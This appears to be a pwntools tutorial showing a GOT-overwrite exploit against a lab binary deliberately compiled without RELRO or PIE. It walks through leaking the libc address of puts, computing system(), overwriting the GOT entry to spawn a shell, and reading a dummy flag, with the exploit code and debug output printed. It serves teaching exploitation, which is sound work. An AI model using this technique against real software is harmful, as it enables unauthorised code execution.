Modern Linux relies on a linker to match imported symbols to an external library, generally libc.so
. The process of overwriting entries in the Global Offset Table (GOT) can easily lead to controlled code execution.
Source Code and Target Executable
We are given the source code to a vulnerable binary, and need to exploit it in order to gain code execution by spawning a shell. Because we are leveraging an information leak (ASLR bypass) for this vulnerability, we do not need to include it but it can easily be reproduced.
Expand full source for got.c
|
|
To compile the binary, we need to use clang
. In this case, it is preferred over GCC since recent Ubuntu versions of GCC do not respect -fno-pie
. We also want a 32-bit binary, so we specify -m32
. The flag -Wl,-z,norelro
is sent to the linker, in order to disable the RELRO feature (a security mitigation to prevent GOT overwrite attacks).
$ clang -m32 -Wl,-z,norelro -o got got.c
We can verify with pwn checksec
that the binary is not position-independent (i.e. does not use ASLR) and does not have RELRO:
$ pwn checksec got
[*] '/home/pwntools/got'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Exploitation Strategy
The target binary gives us the opportunity to leak four bytes of data by allowing us to fill the entire record
structure via read, and specifically the field record.message
. It then prints the structure with printf
, which allows us to leak data until a null terminator is encountered.
We can then write 4 bytes at the location record.message
points, via the second read
call.
Finally, we call puts(student.name)
. Our goal is to hijack the GOT entry for puts
and have it instead invoke system
where student.name
is /bin/sh\x00
.
Exploit Script
Our exploit script starts by importing Pwntools, and setting context.binary
which informs the rest of pwntools what architecture should be used by default. This is important for challenges which are for 64-bit binaries, or generate assembly, but we do it here just for convenience.
The whole exploit script can be seen by expanding the details below, but it is broken up for the sake of discussing it throughout the rest of this post.
Expand full source for exploit.py
|
|
Next the script starts the target process, and clears any existing output. Since the binary is not position-independent (does not use ASLR), the location of the puts
pointer is known ahead of time, and can be automatically calculated by using ELF.got.puts
.
from pwn import *
context.binary = e = ELF('got')
print("puts@got is at ", hex(e.got.puts))
# Start the process
io = e.process()
io.clean()
Next, we use the fit()
functionality to create the struct record student
on the heap. Note that fit()
fills any intermediary bytes with the cyclic()
pattern for free, making it easy to determine what offsets one might need in the future.
fit
is a very powerful tool and can create nested data structures. tube.fit
does this and automatically sends the data over the tube. Since io
here is a process
tube, everything is automagic. Note that we have to manunally specify a NUL byte terminator for /bin/sh
.
# We have 28 bytes, and 4 of them will be dumped
io.fit({
0: '/bin/sh\x00',
24: e.got.puts
})
Memory Leak Details
Our goal is to leak the real address of puts
, by leveraging its presence in the Global Offset Table. The diagram looks somewhat like what’s below.
record
┌─────────┐
│ │ Global Offset Table
│ │ ┌───────────────────────┐
│ │ │ puts │
│ │ ┌───▶│ │──┐
│ │ │ ├───────────────────────┤ │
│ name │ │ │ printf │ │
│ │ │ │ │ │
│ │ │ ├───────────────────────┤ │
│ │ │ │ ... │ │
│ │ leak │ │ │
│ │ │ └───────────────────────┘ │
├─────────┤ │ │
│ │ │ │
│ message │────┘ │
│ │ │
└─────────┘ ┌─────────────────────────────┘
│
libc.so.6────────┼───────────────────────────┐
│ ┌─────┐ │ ┌───────┐ │
│ │puts │◀──────┘ │system │ │
│ └─────┘ └───────┘ │
│ │
│ ┌───────┐ │
│ │printf │ │
│ └───────┘ │
└────────────────────────────────────────────┘
The next bit of data will leak a pointer to puts
from the GOT, so we clear all data until a "("
appears, from the line:
|
|
After that character, the next four bytes will be the REAL address of puts
in libc.
# Receive data until we get the open colon
io.recvuntil(b"(")
# Receive exactly four bytes of leaked data
got_puts = io.unpack()
info("puts@GOT == %#x" % got_puts)
io.clean()
GOT Overwrite Details
Based on this address, we can load the same copy of libc as used by out target binary, find the OFFSET of puts
, and use that to calculate the ACTUAL base address of libc.so
.
With the real loaded address of libc set in libc.address
, the address for libc.symbols.system
is automatically updated, and we can use this to overwrite puts
in the Global Offset Table. From here forward, all calls to puts()
will instead call system()
# Calculate the base address of libc so we can calculate system()
libc = context.binary.libc
libc.address = got_puts - libc.symbols.puts
info("libc == %#x", libc.address
# Calculate system()
system = libc.symbols.system
info("system == %#x", system)
All that’s left to do is to send the address of system
which is read by the second call to read
at
|
|
And we can use io.pack
to automatically convert it from an integer to a packed 32-bit value.
io.pack(system)
The overwrite effectively replaces the GOT pointer for puts
with system
. Note that “leak” is now “write 4”.
record
┌─────────┐
│ │ Global Offset Table
│ │ ┌───────────────────────┐
│ │ │ puts │
│ │ ┌─────▶│ │──┐
│ │ │ ├───────────────────────┤ │
│ name │ │ │ printf │ │
│ │ │ │ │ │
│ │ │ ├───────────────────────┤ │
│ │ │ │ ... │ │
│ │ write 4 │ │ │
│ │ │ └───────────────────────┘ │
├─────────┤ │ │
│ │ │ │
│ message │──────┘ │
│ │ │
└─────────┘ │
│
libc.so.6────────────────────────────────────┐ │
│ ┌─────┐ ┌───────┐ │ │
│ │puts │ │system │◀────┼─────┘
│ └─────┘ └───────┘ │
│ │
│ ┌───────┐ │
│ │printf │ │
│ └───────┘ │
└────────────────────────────────────────────┘
Getting a Shell
Finally, we can get a shell after clearing any unnecesssary output and spawn a shell. With the shell, we can send any command we want, so we just dump the flag file.
# Have an interactive shell to get the flag
io.clean()
io.sendline('cat flag.txt')
io.recvline()
Alternately, we can use io.interactive()
to have a truly interactive shell and issue whatever commands we want!
io.clean()
io.interactive()
Bringing it All Together
If we run our exploit script with DEBUG
(e.g. python3 exploit.py DEBUG
) we can view all of the traffic that is sent back and forth between our exploit script and the target pwnable.
[*] '/home/pwntools/pwntools/got-overwrite/got' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) puts@got is at 0x80498b4 [x] Starting local process '/home/pwntools/pwntools/got-overwrite/got' [+] Starting local process '/home/pwntools/pwntools/got-overwrite/got': pid 539 [DEBUG] Received 0x30 bytes: b'GOT Overwrite\n' b'Message from Alice: (hello world)\n' [DEBUG] Sent 0x1c bytes: 00000000 2f 62 69 6e 2f 73 68 00 63 61 61 61 64 61 61 61 │/bin│/sh·│caaa│daaa│ 00000010 65 61 61 61 66 61 61 61 b4 98 04 08 │eaaa│faaa│····│ 0000001c [DEBUG] Received 0x21 bytes: 00000000 4d 65 73 73 61 67 65 20 66 72 6f 6d 20 2f 62 69 │Mess│age │from│ /bi│ 00000010 6e 2f 73 68 3a 20 28 a0 1c de f7 30 2e d9 f7 29 │n/sh│: (·│···0│.··)│ 00000020 0a │·│ 00000021 [*] puts@GOT == 0xf7de1ca0 [*] '/lib/i386-linux-gnu/libc-2.27.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] libc == 0xf7d7a000 [DEBUG] Sent 0x4 bytes: 00000000 e0 72 db f7 │·r··│ 00000004 [DEBUG] Received 0x21 bytes: 00000000 4d 65 73 73 61 67 65 20 66 72 6f 6d 20 2f 62 69 │Mess│age │from│ /bi│ 00000010 6e 2f 73 68 3a 20 28 e0 72 db f7 30 2e d9 f7 29 │n/sh│: (·│r··0│.··)│ 00000020 0a │·│ 00000021 [DEBUG] Sent 0xd bytes: b'cat flag.txt\n' [DEBUG] Received 0x17 bytes: b'Flag{This_Is_The_Flag}\n' [+] Flag{This_Is_The_Flag}